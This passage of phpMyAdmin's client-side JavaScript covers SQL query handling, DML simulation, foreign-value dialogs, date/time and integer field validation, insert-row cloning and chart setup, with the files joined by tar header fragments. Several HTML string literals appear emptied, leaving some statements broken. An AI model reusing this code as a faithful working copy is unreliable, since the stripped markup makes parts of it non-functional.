$form.attr('action'), function () { Sql.submitShowAllForm(); }); } }); $('body').on('keyup', '#sqlqueryform', function () { Functions.handleSimulateQueryButton(); }); /** * Ajax event handler for 'Simulate DML'. */ $('body').on('click', '#simulate_dml', function () { var $form = $('#sqlqueryform'); var query = ''; var delimiter = $('#id_sql_delimiter').val(); var dbName = $form.find('input[name="db"]').val(); if (codeMirrorEditor) { query = codeMirrorEditor.getValue(); } else { query = $('#sqlquery').val(); } if (query.length === 0) { alert(Messages.strFormEmpty); $('#sqlquery').trigger('focus'); return false; } var $msgbox = Functions.ajaxShowMessage(); $.ajax({ type: 'POST', url: 'index.php?route=/import/simulate-dml', data: { 'server': CommonParams.get('server'), 'db': dbName, 'ajax_request': '1', 'sql_query': query, 'sql_delimiter': delimiter }, success: function (response) { Functions.ajaxRemoveMessage($msgbox); if (response.success) { var dialogContent = '
              '; if (response.sql_data) { var len = response.sql_data.length; for (var i = 0; i < len; i++) { dialogContent += '' + Messages.strSQLQuery + '' + response.sql_data[i].sql_query + Messages.strMatchedRows + ' ' + response.sql_data[i].matched_rows + '
              '; if (i < len - 1) { dialogContent += '
              '; } } } else { dialogContent += response.message; } dialogContent += '
              '; var $dialogContent = $(dialogContent); var modal = $('#simulateDmlModal'); modal.modal('show'); modal.find('.modal-body').first().html($dialogContent); modal.on('shown.bs.modal', function () { Functions.highlightSql(modal); }); } else { Functions.ajaxShowMessage(response.error); } }, error: function () { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest); } }); }); /** * Handles multi submits of results browsing page such as edit, delete and export */ $('body').on('click', 'form[name="resultsForm"].ajax button[name="submit_mult"], form[name="resultsForm"].ajax input[name="submit_mult"]', function (e) { e.preventDefault(); var $button = $(this); var action = $button.val(); var $form = $button.closest('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true' + argsep; Functions.ajaxShowMessage(); AJAX.source = $form; var url; if (action === 'edit') { submitData = submitData + argsep + 'default_action=update'; url = 'index.php?route=/table/change/rows'; } else if (action === 'copy') { submitData = submitData + argsep + 'default_action=insert'; url = 'index.php?route=/table/change/rows'; } else if (action === 'export') { url = 'index.php?route=/table/export/rows'; } else if (action === 'delete') { url = 'index.php?route=/table/delete/confirm'; } else { return; } $.post(url, submitData, AJAX.responseHandler); }); $(document).on('submit', '.maxRowsForm', function () { var unlimNumRows = $(this).find('input[name="unlim_num_rows"]').val(); var maxRowsCheck = Functions.checkFormElementInRange( this, 'session_max_rows', Messages.strNotValidRowNumber, 1 ); var posCheck = Functions.checkFormElementInRange( this, 'pos', Messages.strNotValidRowNumber, 0, unlimNumRows > 0 ? unlimNumRows - 1 : null ); return maxRowsCheck && posCheck; }); $('#insertBtn').on('click', function () { Functions.insertValueQuery(); }); $('#view_as').on('click', function () { Functions.selectContent(this, sqlBoxLocked, true); }); $('#sqlquery').on('click', function () { if ($(this).data('textarea-auto-select') === true) { Functions.selectContent(this, sqlBoxLocked, true); } }); }); // end $() /** * Starting from some th, change the class of all td under it. * If isAddClass is specified, it will be used to determine whether to add or remove the class. * * @param $thisTh * @param {string} newClass * @param isAddClass */ Sql.changeClassForColumn = function ($thisTh, newClass, isAddClass) { // index 0 is the th containing the big T var thIndex = $thisTh.index(); var hasBigT = $thisTh.closest('tr').children().first().hasClass('column_action'); // .eq() is zero-based if (hasBigT) { thIndex--; } var $table = $thisTh.parents('.table_results'); if (! $table.length) { $table = $thisTh.parents('table').siblings('.table_results'); } var $tds = $table.find('tbody tr').find('td.data').eq(thIndex); if (isAddClass === undefined) { $tds.toggleClass(newClass); } else { $tds.toggleClass(newClass, isAddClass); } }; /** * Handles browse foreign values modal dialog * * @param {object} $thisA reference to the browse foreign value link */ Sql.browseForeignDialog = function ($thisA) { var formId = '#browse_foreign_form'; var showAllId = '#foreign_showAll'; var tableId = '#browse_foreign_table'; var filterId = '#input_foreign_filter'; var $dialog = null; var argSep = CommonParams.get('arg_separator'); var params = $thisA.getPostData(); params += argSep + 'ajax_request=true'; $.post($thisA.attr('href'), params, function (data) { // Creates browse foreign value dialog $dialog = $('
              ').append(data.message).dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strBrowseForeignValues, width: Math.min($(window).width() - 100, 700), maxHeight: $(window).height() - 100, dialogClass: 'browse_foreign_modal', close: function () { // remove event handlers attached to elements related to dialog $(tableId).off('click', 'td a.foreign_value'); $(formId).off('click', showAllId); $(formId).off('submit'); // remove dialog itself $(this).remove(); }, modal: true }); }).done(function () { var showAll = false; $(tableId).on('click', 'td a.foreign_value', function (e) { e.preventDefault(); var $input = $thisA.prev('input[type=text]'); // Check if input exists or get CEdit edit_box if ($input.length === 0) { $input = $thisA.closest('.edit_area').prev('.edit_box'); } // Set selected value as input value $input.val($(this).data('key')); // Unchecks the Ignore checkbox for the current row $input.trigger('change'); $dialog.dialog('close'); }); $(formId).on('click', showAllId, function () { showAll = true; }); $(formId).on('submit', function (e) { e.preventDefault(); // if filter value is not equal to old value // then reset page number to 1 if ($(filterId).val() !== $(filterId).data('old')) { $(formId).find('select[name=pos]').val('0'); } var postParams = $(this).serializeArray(); // if showAll button was clicked to submit form then // add showAll button parameter to form if (showAll) { postParams.push({ name: $(showAllId).attr('name'), value: $(showAllId).val() }); } // updates values in dialog $.post($(this).attr('action') + '&ajax_request=1', postParams, function (data) { var $obj = $('
              ').html(data.message); $(formId).html($obj.find(formId).html()); $(tableId).html($obj.find(tableId).html()); }); showAll = false; }); }); }; /** * Get the auto saved query key * @return {String} */ Sql.getAutoSavedKey = function () { var db = $('input[name="db"]').val(); var table = $('input[name="table"]').val(); var key = db; if (table !== undefined) { key += '.' + table; } return 'autoSavedSql_' + key; }; Sql.checkSavedQuery = function () { var key = Sql.getAutoSavedKey(); if (isStorageSupported('localStorage') && typeof window.localStorage.getItem(key) === 'string') { Functions.ajaxShowMessage(Messages.strPreviousSaveQuery); } else if (Cookies.get(key)) { Functions.ajaxShowMessage(Messages.strPreviousSaveQuery); } }; AJAX.registerOnload('sql.js', function () { $('body').on('click', 'a.browse_foreign', function (e) { e.preventDefault(); Sql.browseForeignDialog($(this)); }); /** * vertical column highlighting in horizontal mode when hovering over the column header */ $(document).on('mouseenter', 'th.column_heading.pointer', function () { Sql.changeClassForColumn($(this), 'hover', true); }); $(document).on('mouseleave', 'th.column_heading.pointer', function () { Sql.changeClassForColumn($(this), 'hover', false); }); /** * vertical column marking in horizontal mode when clicking the column header */ $(document).on('click', 'th.column_heading.marker', function () { Sql.changeClassForColumn($(this), 'marked'); }); /** * create resizable table */ $('.sqlqueryresults').trigger('makegrid'); /** * Check if there is any saved query */ if (codeMirrorEditor || document.sqlform) { Sql.checkSavedQuery(); } }); /** * Profiling Chart */ Sql.makeProfilingChart = function () { if ($('#profilingchart').length === 0 || $('#profilingchart').html().length !== 0 || !$.jqplot || !$.jqplot.Highlighter || !$.jqplot.PieRenderer ) { return; } var data = []; $.each(JSON.parse($('#profilingChartData').html()), function (key, value) { data.push([key, parseFloat(value)]); }); // Remove chart and data divs contents $('#profilingchart').html('').show(); $('#profilingChartData').html(''); Functions.createProfilingChart('profilingchart', data); }; /** * initialize profiling data tables */ Sql.initProfilingTables = function () { if (!$.tablesorter) { return; } // Added to allow two direction sorting $('#profiletable') .find('thead th') .off('click mousedown'); $('#profiletable').tablesorter({ widgets: ['zebra'], sortList: [[0, 0]], textExtraction: function (node) { if (node.children.length > 0) { return node.children[0].innerHTML; } else { return node.innerHTML; } } }); // Added to allow two direction sorting $('#profilesummarytable') .find('thead th') .off('click mousedown'); $('#profilesummarytable').tablesorter({ widgets: ['zebra'], sortList: [[1, 1]], textExtraction: function (node) { if (node.children.length > 0) { return node.children[0].innerHTML; } else { return node.innerHTML; } } }); }; AJAX.registerOnload('sql.js', function () { Sql.makeProfilingChart(); Sql.initProfilingTables(); }); table/change.js000066600000101415151724624350007435 0ustar00/** * @fileoverview function used in table data manipulation pages * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /* global extendingValidatorMessages */ // templates/javascript/variables.twig /* global openGISEditor, gisEditorLoaded, loadJSAndGISEditor, loadGISEditor */ // js/gis_data_editor.js /** * Modify form controls when the "NULL" checkbox is checked * * @param {string} theType the MySQL field type * @param {string} urlField the urlencoded field name - OBSOLETE * @param {string} md5Field the md5 hashed field name * @param {string} multiEdit the multi_edit row sequence number * * @return {boolean} always true */ function nullify (theType, urlField, md5Field, multiEdit) { var rowForm = document.forms.insertForm; if (typeof(rowForm.elements['funcs' + multiEdit + '[' + md5Field + ']']) !== 'undefined') { rowForm.elements['funcs' + multiEdit + '[' + md5Field + ']'].selectedIndex = -1; } // "ENUM" field with more than 20 characters if (Number(theType) === 1) { rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'][1].selectedIndex = -1; // Other "ENUM" field } else if (Number(theType) === 2) { var elts = rowForm.elements['fields' + multiEdit + '[' + md5Field + ']']; // when there is just one option in ENUM: if (elts.checked) { elts.checked = false; } else { var eltsCnt = elts.length; for (var i = 0; i < eltsCnt; i++) { elts[i].checked = false; } // end for } // end if // "SET" field } else if (Number(theType) === 3) { rowForm.elements['fields' + multiEdit + '[' + md5Field + '][]'].selectedIndex = -1; // Foreign key field (drop-down) } else if (Number(theType) === 4) { rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'].selectedIndex = -1; // foreign key field (with browsing icon for foreign values) } else if (Number(theType) === 6) { rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'].value = ''; // Other field types } else /* if (theType === 5)*/ { rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'].value = ''; } // end if... else if... else return true; } // end of the 'nullify()' function /** * javascript DateTime format validation. * its used to prevent adding default (0000-00-00 00:00:00) to database when user enter wrong values * Start of validation part */ // function checks the number of days in febuary function daysInFebruary (year) { return (((year % 4 === 0) && (((year % 100 !== 0)) || (year % 400 === 0))) ? 29 : 28); } // function to convert single digit to double digit function fractionReplace (number) { var num = parseInt(number, 10); return num >= 1 && num <= 9 ? '0' + num : '00'; } /* function to check the validity of date * The following patterns are accepted in this validation (accepted in mysql as well) * 1) 2001-12-23 * 2) 2001-1-2 * 3) 02-12-23 * 4) And instead of using '-' the following punctuations can be used (+,.,*,^,@,/) All these are accepted by mysql as well. Therefore no issues */ function isDate (val, tmstmp) { var value = val.replace(/[.|*|^|+|//|@]/g, '-'); var arrayVal = value.split('-'); for (var a = 0; a < arrayVal.length; a++) { if (arrayVal[a].length === 1) { arrayVal[a] = fractionReplace(arrayVal[a]); } } value = arrayVal.join('-'); var pos = 2; var dtexp = new RegExp(/^([0-9]{4})-(((01|03|05|07|08|10|12)-((0[0-9])|([1-2][0-9])|(3[0-1])))|((02|04|06|09|11)-((0[0-9])|([1-2][0-9])|30))|((00)-(00)))$/); if (value.length === 8) { pos = 0; } if (dtexp.test(value)) { var month = parseInt(value.substring(pos + 3, pos + 5), 10); var day = parseInt(value.substring(pos + 6, pos + 8), 10); var year = parseInt(value.substring(0, pos + 2), 10); if (month === 2 && day > daysInFebruary(year)) { return false; } if (value.substring(0, pos + 2).length === 2) { year = parseInt('20' + value.substring(0, pos + 2), 10); } if (tmstmp === true) { if (year < 1978) { return false; } if (year > 2038 || (year > 2037 && day > 19 && month >= 1) || (year > 2037 && month > 1)) { return false; } } } else { return false; } return true; } /* function to check the validity of time * The following patterns are accepted in this validation (accepted in mysql as well) * 1) 2:3:4 * 2) 2:23:43 * 3) 2:23:43.123456 */ function isTime (val) { var arrayVal = val.split(':'); for (var a = 0, l = arrayVal.length; a < l; a++) { if (arrayVal[a].length === 1) { arrayVal[a] = fractionReplace(arrayVal[a]); } } var newVal = arrayVal.join(':'); var tmexp = new RegExp(/^(-)?(([0-7]?[0-9][0-9])|(8[0-2][0-9])|(83[0-8])):((0[0-9])|([1-5][0-9])):((0[0-9])|([1-5][0-9]))(\.[0-9]{1,6}){0,1}$/); return tmexp.test(newVal); } /** * To check whether insert section is ignored or not * @param {string} multiEdit * @return {boolean} */ function checkForCheckbox (multiEdit) { if ($('#insert_ignore_' + multiEdit).length) { return $('#insert_ignore_' + multiEdit).is(':unchecked'); } return true; } // used in Search page mostly for INT fields // eslint-disable-next-line no-unused-vars function verifyAfterSearchFieldChange (index, searchFormId) { var $thisInput = $('input[name=\'criteriaValues[' + index + ']\']'); // Add data-skip-validators attribute to skip validation in changeValueFieldType function if ($('#fieldID_' + index).data('data-skip-validators')) { $(searchFormId).validate().destroy(); return; } // validation for integer type if ($thisInput.data('type') === 'INT' || $thisInput.data('type') === 'TINYINT') { // Trim spaces if it's an integer $thisInput.val($thisInput.val().trim()); var hasMultiple = $thisInput.prop('multiple'); if (hasMultiple) { $(searchFormId).validate({ // update errors as we write onkeyup: function (element) { $(element).valid(); } }); // validator method for IN(...), NOT IN(...) // BETWEEN and NOT BETWEEN jQuery.validator.addMethod('validationFunctionForMultipleInt', function (value) { return value.match(/^(?:(?:\d\s*)|\s*)+(?:,\s*\d+)*$/i) !== null; }, Messages.strEnterValidNumber ); validateMultipleIntField($thisInput, true); } else { $(searchFormId).validate({ // update errors as we write onkeyup: function (element) { $(element).valid(); } }); validateIntField($thisInput, true); } // Update error on dropdown change $thisInput.valid(); } } /** * Validate the an input contains multiple int values * @param {jQuery} jqueryInput the Jquery object * @param {boolean} returnValueIfFine the value to return if the validator passes * @return {void} */ function validateMultipleIntField (jqueryInput, returnValueIfFine) { // removing previous rules jqueryInput.rules('remove'); jqueryInput.rules('add', { validationFunctionForMultipleInt: { param: jqueryInput.value, depends: function () { return returnValueIfFine; } } }); } /** * Validate the an input contains an int value * @param {jQuery} jqueryInput the Jquery object * @param {boolean} returnValueIfIsNumber the value to return if the validator passes * @return {void} */ function validateIntField (jqueryInput, returnValueIfIsNumber) { var mini = parseInt(jqueryInput.data('min')); var maxi = parseInt(jqueryInput.data('max')); // removing previous rules jqueryInput.rules('remove'); jqueryInput.rules('add', { number: { param: true, depends: function () { return returnValueIfIsNumber; } }, min: { param: mini, depends: function () { if (isNaN(jqueryInput.val())) { return false; } else { return returnValueIfIsNumber; } } }, max: { param: maxi, depends: function () { if (isNaN(jqueryInput.val())) { return false; } else { return returnValueIfIsNumber; } } } }); } function verificationsAfterFieldChange (urlField, multiEdit, theType) { var evt = window.event || arguments.callee.caller.arguments[0]; var target = evt.target || evt.srcElement; var $thisInput = $(':input[name^=\'fields[multi_edit][' + multiEdit + '][' + urlField + ']\']'); // the function drop-down that corresponds to this input field var $thisFunction = $('select[name=\'funcs[multi_edit][' + multiEdit + '][' + urlField + ']\']'); var functionSelected = false; if (typeof $thisFunction.val() !== 'undefined' && $thisFunction.val() !== null && $thisFunction.val().length > 0 ) { functionSelected = true; } // To generate the textbox that can take the salt var newSaltBox = '
              '; // If encrypting or decrypting functions that take salt as input is selected append the new textbox for salt if (target.value === 'AES_ENCRYPT' || target.value === 'AES_DECRYPT' || target.value === 'DES_ENCRYPT' || target.value === 'DES_DECRYPT' || target.value === 'ENCRYPT') { if (!($('#salt_' + target.id).length)) { $thisInput.after(newSaltBox); } } else { // Remove the textbox for salt $('#salt_' + target.id).prev('br').remove(); $('#salt_' + target.id).remove(); } // Remove possible blocking rules if the user changed functions $('#' + target.id).rules('remove', 'validationFunctionForMd5'); $('#' + target.id).rules('remove', 'validationFunctionForAesDesEncrypt'); if (target.value === 'MD5') { $('#' + target.id).rules('add', { validationFunctionForMd5: { param: $thisInput, depends: function () { return checkForCheckbox(multiEdit); } } }); } if (target.value === 'DES_ENCRYPT' || target.value === 'AES_ENCRYPT') { $('#' + target.id).rules('add', { validationFunctionForAesDesEncrypt: { param: $thisInput, depends: function () { return checkForCheckbox(multiEdit); } } }); } if (target.value === 'HEX' && theType.substring(0,3) === 'int') { // Add note when HEX function is selected on a int var newHexInfo = '

              ' + Messages.HexConversionInfo + '

              '; if (!$('#note' + target.id).length) { $thisInput.after(newHexInfo); } } else { $('#note' + target.id) .prev('br') .remove(); $('#note' + target.id).remove(); } // Unchecks the corresponding "NULL" control $('input[name=\'fields_null[multi_edit][' + multiEdit + '][' + urlField + ']\']').prop('checked', false); // Unchecks the Ignore checkbox for the current row $('input[name=\'insert_ignore_' + multiEdit + '\']').prop('checked', false); var charExceptionHandling; if (theType.substring(0,4) === 'char') { charExceptionHandling = theType.substring(5,6); } else if (theType.substring(0,7) === 'varchar') { charExceptionHandling = theType.substring(8,9); } if (functionSelected) { $thisInput.removeAttr('min'); $thisInput.removeAttr('max'); // @todo: put back attributes if corresponding function is deselected } if ($thisInput.data('rulesadded') === null && ! functionSelected) { // call validate before adding rules $($thisInput[0].form).validate(); // validate for date time if (theType === 'datetime' || theType === 'time' || theType === 'date' || theType === 'timestamp') { $thisInput.rules('add', { validationFunctionForDateTime: { param: theType, depends: function () { return checkForCheckbox(multiEdit); } } }); } // validation for integer type if ($thisInput.data('type') === 'INT') { validateIntField($thisInput, checkForCheckbox(multiEdit)); // validation for CHAR types } else if ($thisInput.data('type') === 'CHAR') { var maxlen = $thisInput.data('maxlength'); if (typeof maxlen !== 'undefined') { if (maxlen <= 4) { maxlen = charExceptionHandling; } $thisInput.rules('add', { maxlength: { param: maxlen, depends: function () { return checkForCheckbox(multiEdit); } } }); } // validate binary & blob types } else if ($thisInput.data('type') === 'HEX') { $thisInput.rules('add', { validationFunctionForHex: { param: true, depends: function () { return checkForCheckbox(multiEdit); } } }); } $thisInput.data('rulesadded', true); } else if ($thisInput.data('rulesadded') === true && functionSelected) { // remove any rules added $thisInput.rules('remove'); // remove any error messages $thisInput .removeClass('error') .removeAttr('aria-invalid') .siblings('.error') .remove(); $thisInput.data('rulesadded', null); } } /* End of fields validation*/ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/change.js', function () { $(document).off('click', 'span.open_gis_editor'); $(document).off('click', 'input[name^=\'insert_ignore_\']'); $(document).off('click', 'input[name=\'gis_data[save]\']'); $(document).off('click', 'input.checkbox_null'); $('select[name="submit_type"]').off('change'); $(document).off('change', '#insert_rows'); }); /** * Ajax handlers for Change Table page * * Actions Ajaxified here: * Submit Data to be inserted into the table. * Restart insertion with 'N' rows. */ AJAX.registerOnload('table/change.js', function () { if ($('#insertForm').length) { // validate the comment form when it is submitted $('#insertForm').validate(); jQuery.validator.addMethod('validationFunctionForHex', function (value) { return value.match(/^[a-f0-9]*$/i) !== null; }); jQuery.validator.addMethod('validationFunctionForMd5', function (value, element, options) { return !(value.substring(0, 3) === 'MD5' && typeof options.data('maxlength') !== 'undefined' && options.data('maxlength') < 32); }); jQuery.validator.addMethod('validationFunctionForAesDesEncrypt', function (value, element, options) { var funType = value.substring(0, 3); if (funType !== 'AES' && funType !== 'DES') { return false; } var dataType = options.data('type'); if (dataType === 'HEX' || dataType === 'CHAR') { return true; } return false; }); jQuery.validator.addMethod('validationFunctionForDateTime', function (value, element, options) { var dtValue = value; var theType = options; if (theType === 'date') { return isDate(dtValue); } else if (theType === 'time') { return isTime(dtValue); } else if (theType === 'datetime' || theType === 'timestamp') { var tmstmp = false; dtValue = dtValue.trim(); if (dtValue === 'CURRENT_TIMESTAMP' || dtValue === 'current_timestamp()') { return true; } if (theType === 'timestamp') { tmstmp = true; } if (dtValue === '0000-00-00 00:00:00') { return true; } var dv = dtValue.indexOf(' '); if (dv === -1) { // Only the date component, which is valid return isDate(dtValue, tmstmp); } return isDate(dtValue.substring(0, dv), tmstmp) && isTime(dtValue.substring(dv + 1)); } }); } /* * message extending script must be run * after initiation of functions */ extendingValidatorMessages(); $.datepicker.initialized = false; $(document).on('click', 'span.open_gis_editor', function (event) { event.preventDefault(); var $span = $(this); // Current value var value = $span.parent('td').children('input[type=\'text\']').val(); // Field name var field = $span.parents('tr').children('td').first().find('input[type=\'hidden\']').val(); // Column type var type = $span.parents('tr').find('span.column_type').text(); // Names of input field and null checkbox var inputName = $span.parent('td').children('input[type=\'text\']').attr('name'); openGISEditor(); if (!gisEditorLoaded) { loadJSAndGISEditor(value, field, type, inputName); } else { loadGISEditor(value, field, type, inputName); } }); /** * Forced validation check of fields */ $(document).on('click','input[name^=\'insert_ignore_\']', function () { $('#insertForm').valid(); }); /** * Uncheck the null checkbox as geometry data is placed on the input field */ $(document).on('click', 'input[name=\'gis_data[save]\']', function () { var inputName = $('form#gis_data_editor_form').find('input[name=\'input_name\']').val(); var currentRow = $('input[name=\'' + inputName + '\']').parents('tr'); var $nullCheckbox = currentRow.find('.checkbox_null'); $nullCheckbox.prop('checked', false); var rowId = currentRow.find('.open_gis_editor').data('row-id'); // Unchecks the Ignore checkbox for the current row $('input[name=\'insert_ignore_' + rowId + '\']').prop('checked', false); }); /** * Handles all current checkboxes for Null; this only takes care of the * checkboxes on currently displayed rows as the rows generated by * "Continue insertion" are handled in the "Continue insertion" code * */ $(document).on('click', 'input.checkbox_null', function () { nullify( // use hidden fields populated by /table/change $(this).siblings('.nullify_code').val(), $(this).closest('tr').find('input:hidden').first().val(), $(this).siblings('.hashed_field').val(), $(this).siblings('.multi_edit').val() ); }); /** * Reset the auto_increment column to 0 when selecting any of the * insert options in submit_type-dropdown. Only perform the reset * when we are in edit-mode, and not in insert-mode(no previous value * available). */ $('select[name="submit_type"]').on('change', function () { var thisElemSubmitTypeVal = $(this).val(); var $table = $('table.insertRowTable'); var autoIncrementColumn = $table.find('input[name^="auto_increment"]'); autoIncrementColumn.each(function () { var $thisElemAIField = $(this); var thisElemName = $thisElemAIField.attr('name'); var prevValueField = $table.find('input[name="' + thisElemName.replace('auto_increment', 'fields_prev') + '"]'); var valueField = $table.find('input[name="' + thisElemName.replace('auto_increment', 'fields') + '"]'); var previousValue = $(prevValueField).val(); if (previousValue !== undefined) { if (thisElemSubmitTypeVal === 'insert' || thisElemSubmitTypeVal === 'insertignore' || thisElemSubmitTypeVal === 'showinsert' ) { $(valueField).val(null); } else { $(valueField).val(previousValue); } } }); }); /** * Handle ENTER key when press on Continue insert with field */ $('#insert_rows').on('keypress', function (e) { var key = e.which; if (key === 13) { addNewContinueInsertionFields(e); } }); /** * Continue Insertion form */ $(document).on('change', '#insert_rows', addNewContinueInsertionFields); }); function addNewContinueInsertionFields (event) { event.preventDefault(); /** * @var columnCount Number of number of columns table has. */ var columnCount = $('table.insertRowTable').first().find('tr').has('input[name*=\'fields_name\']').length; /** * @var curr_rows Number of current insert rows already on page */ var currRows = $('table.insertRowTable').length; /** * @var target_rows Number of rows the user wants */ var targetRows = $('#insert_rows').val(); // remove all datepickers $('input.datefield, input.datetimefield').each(function () { $(this).datepicker('destroy'); }); if (currRows < targetRows) { var tempIncrementIndex = function () { var $thisElement = $(this); /** * Extract the index from the name attribute for all input/select fields and increment it * name is of format funcs[multi_edit][10][] */ /** * @var this_name String containing name of the input/select elements */ var thisName = $thisElement.attr('name'); /** split {@link thisName} at [10], so we have the parts that can be concatenated later */ var nameParts = thisName.split(/\[\d+\]/); /** extract the [10] from {@link nameParts} */ var oldRowIndexString = thisName.match(/\[\d+\]/)[0]; /** extract 10 - had to split into two steps to accomodate double digits */ var oldRowIndex = parseInt(oldRowIndexString.match(/\d+/)[0], 10); /** calculate next index i.e. 11 */ newRowIndex = oldRowIndex + 1; /** generate the new name i.e. funcs[multi_edit][11][foobarbaz] */ var newName = nameParts[0] + '[' + newRowIndex + ']' + nameParts[1]; var hashedField = nameParts[1].match(/\[(.+)\]/)[1]; $thisElement.attr('name', newName); /** If element is select[name*='funcs'], update id */ if ($thisElement.is('select[name*=\'funcs\']')) { var thisId = $thisElement.attr('id'); var idParts = thisId.split(/_/); var oldIdIndex = idParts[1]; var prevSelectedValue = $('#field_' + oldIdIndex + '_1').val(); var newIdIndex = parseInt(oldIdIndex) + columnCount; var newId = 'field_' + newIdIndex + '_1'; $thisElement.attr('id', newId); $thisElement.find('option').filter(function () { return $(this).text() === prevSelectedValue; }).attr('selected','selected'); // If salt field is there then update its id. var nextSaltInput = $thisElement.parent().next('td').next('td').find('input[name*=\'salt\']'); if (nextSaltInput.length !== 0) { nextSaltInput.attr('id', 'salt_' + newId); } } // handle input text fields and textareas if ($thisElement.is('.textfield') || $thisElement.is('.char') || $thisElement.is('textarea')) { // do not remove the 'value' attribute for ENUM columns // special handling for radio fields after updating ids to unique - see below if ($thisElement.closest('tr').find('span.column_type').html() !== 'enum') { $thisElement.val($thisElement.closest('tr').find('span.default_value').html()); } $thisElement .off('change') // Remove onchange attribute that was placed // by /table/change; it refers to the wrong row index .attr('onchange', null) // Keep these values to be used when the element // will change .data('hashed_field', hashedField) .data('new_row_index', newRowIndex) .on('change', function () { var $changedElement = $(this); verificationsAfterFieldChange( $changedElement.data('hashed_field'), $changedElement.data('new_row_index'), $changedElement.closest('tr').find('span.column_type').html() ); }); } if ($thisElement.is('.checkbox_null')) { $thisElement // this event was bound earlier by jQuery but // to the original row, not the cloned one, so unbind() .off('click') // Keep these values to be used when the element // will be clicked .data('hashed_field', hashedField) .data('new_row_index', newRowIndex) .on('click', function () { var $changedElement = $(this); nullify( $changedElement.siblings('.nullify_code').val(), $thisElement.closest('tr').find('input:hidden').first().val(), $changedElement.data('hashed_field'), '[multi_edit][' + $changedElement.data('new_row_index') + ']' ); }); } }; var tempReplaceAnchor = function () { var $anchor = $(this); var newValue = 'rownumber=' + newRowIndex; // needs improvement in case something else inside // the href contains this pattern var newHref = $anchor.attr('href').replace(/rownumber=\d+/, newValue); $anchor.attr('href', newHref); }; var restoreValue = function () { if ($(this).closest('tr').find('span.column_type').html() === 'enum') { if ($(this).val() === $checkedValue) { $(this).prop('checked', true); } else { $(this).prop('checked', false); } } }; while (currRows < targetRows) { /** * @var $last_row Object referring to the last row */ var $lastRow = $('#insertForm').find('.insertRowTable').last(); // need to access this at more than one level // (also needs improvement because it should be calculated // just once per cloned row, not once per column) var newRowIndex = 0; var $checkedValue = $lastRow.find('input:checked').val(); // Clone the insert tables $lastRow .clone(true, true) .insertBefore('#actions_panel') .find('input[name*=multi_edit],select[name*=multi_edit],textarea[name*=multi_edit]') .each(tempIncrementIndex) .end() .find('.foreign_values_anchor') .each(tempReplaceAnchor); var $oldRow = $lastRow.find('.textfield'); $oldRow.each(restoreValue); // set the value of enum field of new row to default var $newRow = $('#insertForm').find('.insertRowTable').last(); $newRow.find('.textfield').each(function () { if ($(this).closest('tr').find('span.column_type').html() === 'enum') { if ($(this).val() === $(this).closest('tr').find('span.default_value').html()) { $(this).prop('checked', true); } else { $(this).prop('checked', false); } } }); // Insert/Clone the ignore checkboxes if (currRows === 1) { $('') .insertBefore($('table.insertRowTable').last()) .after(''); } else { /** * @var $last_checkbox Object reference to the last checkbox in #insertForm */ var $lastCheckbox = $('#insertForm').children('input:checkbox').last(); /** name of {@link $lastCheckbox} */ var lastCheckboxName = $lastCheckbox.attr('name'); /** index of {@link $lastCheckbox} */ var lastCheckboxIndex = parseInt(lastCheckboxName.match(/\d+/), 10); /** name of new {@link $lastCheckbox} */ var newName = lastCheckboxName.replace(/\d+/, lastCheckboxIndex + 1); $('
              ') .insertBefore($('table.insertRowTable').last()); $lastCheckbox .clone() .attr({ 'id': newName, 'name': newName }) .prop('checked', true) .insertBefore($('table.insertRowTable').last()); $('label[for^=insert_ignore]').last() .clone() .attr('for', newName) .insertBefore($('table.insertRowTable').last()); $('
              ') .insertBefore($('table.insertRowTable').last()); } currRows++; } // recompute tabindex for text fields and other controls at footer; // IMO it's not really important to handle the tabindex for // function and Null var tabIndex = 0; $('.textfield, .char, textarea') .each(function () { tabIndex++; $(this).attr('tabindex', tabIndex); // update the IDs of textfields to ensure that they are unique $(this).attr('id', 'field_' + tabIndex + '_3'); }); $('.control_at_footer') .each(function () { tabIndex++; $(this).attr('tabindex', tabIndex); }); } else if (currRows > targetRows) { /** * Displays alert if data loss possible on decrease * of rows. */ var checkLock = jQuery.isEmptyObject(AJAX.lockedTargets); if (checkLock || confirm(Messages.strConfirmRowChange) === true) { while (currRows > targetRows) { $('input[id^=insert_ignore]').last() .nextUntil('fieldset') .addBack() .remove(); currRows--; } } else { document.getElementById('insert_rows').value = currRows; } } // Add all the required datepickers back Functions.addDateTimePicker(); } // eslint-disable-next-line no-unused-vars function changeValueFieldType (elem, searchIndex) { var fieldsValue = $('input#fieldID_' + searchIndex); if (0 === fieldsValue.size()) { return; } var type = $(elem).val(); if ('LIKE' === type || 'LIKE %...%' === type || 'NOT LIKE' === type || 'NOT LIKE %...%' === type ) { $('#fieldID_' + searchIndex).data('data-skip-validators', true); return; } else { $('#fieldID_' + searchIndex).data('data-skip-validators', false); } if ('IN (...)' === type || 'NOT IN (...)' === type || 'BETWEEN' === type || 'NOT BETWEEN' === type ) { $('#fieldID_' + searchIndex).prop('multiple', true); } else { $('#fieldID_' + searchIndex).prop('multiple', false); } } table/chart.js000066600000033766151724624350007326 0ustar00 /* global ColumnType, DataTable, JQPlotChartFactory */ // js/chart.js /* global codeMirrorEditor */ // js/functions.js var chartData = {}; var tempChartTitle; var currentChart = null; var currentSettings = null; var dateTimeCols = []; var numericCols = []; function extractDate (dateString) { var matches; var match; var dateTimeRegExp = /[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2}/; var dateRegExp = /[0-9]{4}-[0-9]{2}-[0-9]{2}/; matches = dateTimeRegExp.exec(dateString); if (matches !== null && matches.length > 0) { match = matches[0]; return new Date(match.substr(0, 4), parseInt(match.substr(5, 2), 10) - 1, match.substr(8, 2), match.substr(11, 2), match.substr(14, 2), match.substr(17, 2)); } else { matches = dateRegExp.exec(dateString); if (matches !== null && matches.length > 0) { match = matches[0]; return new Date(match.substr(0, 4), parseInt(match.substr(5, 2), 10) - 1, match.substr(8, 2)); } } return null; } function queryChart (data, columnNames, settings) { if ($('#querychart').length === 